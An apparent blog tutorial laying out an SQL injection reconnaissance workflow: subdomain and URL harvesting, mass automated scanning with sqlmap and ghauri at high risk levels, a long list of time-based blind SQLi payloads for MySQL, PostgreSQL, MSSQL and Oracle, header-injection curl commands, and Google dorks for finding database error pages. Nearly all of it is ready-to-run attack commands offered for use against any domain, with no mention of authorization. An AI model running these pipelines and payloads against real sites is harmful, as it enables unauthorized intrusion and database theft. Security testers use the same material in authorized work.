Loading...
A practical step-by-step SQL injection reconnaissance methodology using subdomain enumeration, URL discovery, mass testing and time-based payloads across multiple databases
SQL Injection remains one of the most critical web vulnerabilities, allowing attackers to manipulate backend databases through unsanitized inputs. Effective reconnaissance is key to identifying potential SQLi points before exploitation. This article walks you through a practical, step-by-step SQLi reconnaissance methodology using popular tools and payloads.
Before testing for SQLi you need to discover the attack surface — the subdomains and URLs that might be vulnerable.
subfinder -d example.com -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'subfinder -dL subdomains.txt -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'
To find URLs with parameters (common SQLi entry points) use:
echo https://example.com | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep "=" >urls.txtecho https://example.com | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" >urls2.txt
Use gf to extract endpoints with potential SQL injection points and clean them up:
cat urls1.txt urls2.txt | gf sqli | uro > cleaned-sql.txtOnce you have a list of URLs, automate testing with tools like ghauri or sqlmap:
ghauri -m cleaned-sql.txt --batch --dbs --level 3 --confirmsqlmap -m cleaned-sql.txt --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs
Combine subdomain discovery, URL gathering, filtering and automated scanning:
subfinder -d example.com -all -silent | gau --threads 50 | uro | gf sqli > sql.txt; ghauri -m sql.txt --batch --dbs --level 3 --confirm
subfinder -d example.com -all -silent | gau | urldedupe | gf sqli > sql.txt; sqlmap -m sql.txt --batch --dbs --risk 2 --level 5 --random-agentTime delays are effective for blind SQLi detection when no error messages are shown. Here are payloads for manual testing for different databases:
SELECT SLEEP(10);0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(FLOOR(RAND()*2),(SELECT SLEEP(5))) AS x FROM information_schema.tables GROUP BY x) y);' OR IF(1=1, SLEEP(10), 0)-- -SELECT pg_sleep(10);' OR (CASE WHEN ((CLOCK_TIMESTAMP() - NOW()) < interval '0:0:10') THEN (SELECT '1' || pg_sleep(10)) ELSE '0' END)='1' OR 1=1; SELECT pg_sleep(5);--' OR (SELECT CASE WHEN (random() < 0.5) THEN pg_sleep(5) ELSE pg_sleep(0) END);--WAITFOR DELAY '00:00:10';'; WAITFOR DELAY '00:00:05'; --IF (1=1) WAITFOR DELAY '0:0:10';'; IF EXISTS (SELECT * FROM users) WAITFOR DELAY '00:00:07';--BEGIN DBMS_PIPE.RECEIVE_MESSAGE('a',10); END;' OR 1=1; BEGIN DBMS_PIPE.RECEIVE_MESSAGE('a',10); END;--DECLARE v INTEGER; BEGIN IF 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',10); END IF; END;Some endpoints reflect headers like User-Agent, Referer or X-Forwarded-For. Inject payloads there:
User-Agent: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'"time curl -s -H "User-Agent: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z" "https://target.com/vulnerable-endpoint"time curl -s -H "X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z" "https://target.com/vulnerable-endpoint"time curl -s -H "Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'\"" "https://target.com/vulnerable-endpoint"Explore how XOR logic in SQL payloads like if(now()=sysdate(),sleep(10),0) can be weaponized for bypassing filters and triggering precise time-based detection.
if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/time curl "https://target.com/page.php?id=if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/"
If the server takes approximately 10 seconds to respond, it strongly indicates a time-based SQL injection vulnerability.
You can also download a full list of advanced XOR-based SQL injection payloads and for other DBMS from my GitHub repository here:
coffinxp/loxs — SQLi PayloadsGoogle dorks can help find potentially vulnerable pages. Use the following Google dorks to identify endpoints, parameterized URLs and database error-prone pages that could indicate SQL injection potential.
site:*.domain.com inurl:id=
site:*.domain.com inurl=product.php?id=
site:*.domain.com inurl=view.php?page=
site:*.domain.com inurl=item.php?cat=site:*.domain.com ext:php
site:*.domain.com ext:asp
site:*.domain.com ext:aspx
site:*.domain.com ext:jsp
site:*.domain.com ext:jspx
site:*.domain.com ext:cfm
site:*.domain.com ext:plsite:*.domain.com ext:php inurl:id=
site:*.domain.com ext:aspx inurl=productid=
site:*.domain.com ext:jsp inurl=categoryid=# MySQL Errors
site:*.domain.com intext:"You have an error in your SQL syntax"
site:*.domain.com intext:"mysql_fetch_array() expects parameter"
site:*.domain.com intext:"mysql_num_rows() expects parameter"
site:*.domain.com intext:"supplied argument is not a valid MySQL result resource"
site:*.domain.com intext:"Warning: mysql_"
site:*.domain.com intext:"Fatal error: Uncaught mysqli_sql_exception"
# MariaDB / PDO Errors
site:*.domain.com intext:"Fatal error: Call to undefined function mysql_connect()"
site:*.domain.com intext:"Warning: PDO::query()"
site:*.domain.com intext:"SQLSTATE[HY000]"
# PostgreSQL Errors
site:*.domain.com intext:"pg_query(): Query failed"
site:*.domain.com intext:"Warning: pg_connect()"
site:*.domain.com intext:"PostgreSQL query failed: ERROR"
# Microsoft SQL Server Errors
site:*.domain.com intext:"Microsoft OLE DB Provider for SQL Server"
site:*.domain.com intext:"Unclosed quotation mark after the character string"
site:*.domain.com intext:"ADODB.Field error"
site:*.domain.com intext:"80040e14"
# Oracle DB Errors
site:*.domain.com intext:"ORA-00933: SQL command not properly ended"
site:*.domain.com intext:"ORA-01756: quoted string not properly terminated"
site:*.domain.com intext:"Warning: oci_parse()"
# DB2 / Informix / Misc
site:*.domain.com intext:"DB2 SQL error:"
site:*.domain.com intext:"Syntax error in string in query expression"
site:*.domain.com intext:"Error Executing Database Query"
# Generic SQL Error Patterns
site:*.domain.com intext:"Query failed:"
site:*.domain.com intext:"unexpected end of SQL command"
site:*.domain.com intext:"invalid SQL statement"
site:*.domain.com intext:"JDBC Exception"You can automate these dorks using my custom dorking script to quickly discover more SQL injection points. I've also written an article covering some advanced techniques including Google Dorking Automation.
coffinxp/scripts — dorking.pyYou can also test time-based payloads for all types of DBMS using our Loxs tool, which is specially designed to detect time-based SQL injection vulnerabilities effectively.
coffinxp/loxshttps://www.youtube.com/watch?v=HD9201YJTfQ
https://www.youtube.com/watch?v=x1z4GxDtEo0
https://www.youtube.com/watch?v=KhVMSTYgMxc&t=367s
https://www.youtube.com/watch?v=Eu1_LbUzdR0
SQL Injection reconnaissance is a multi-step process involving subdomain enumeration, URL discovery, mass testing and payload injection. Using the right tools and payloads tailored for different databases increases your chances of finding vulnerabilities efficiently.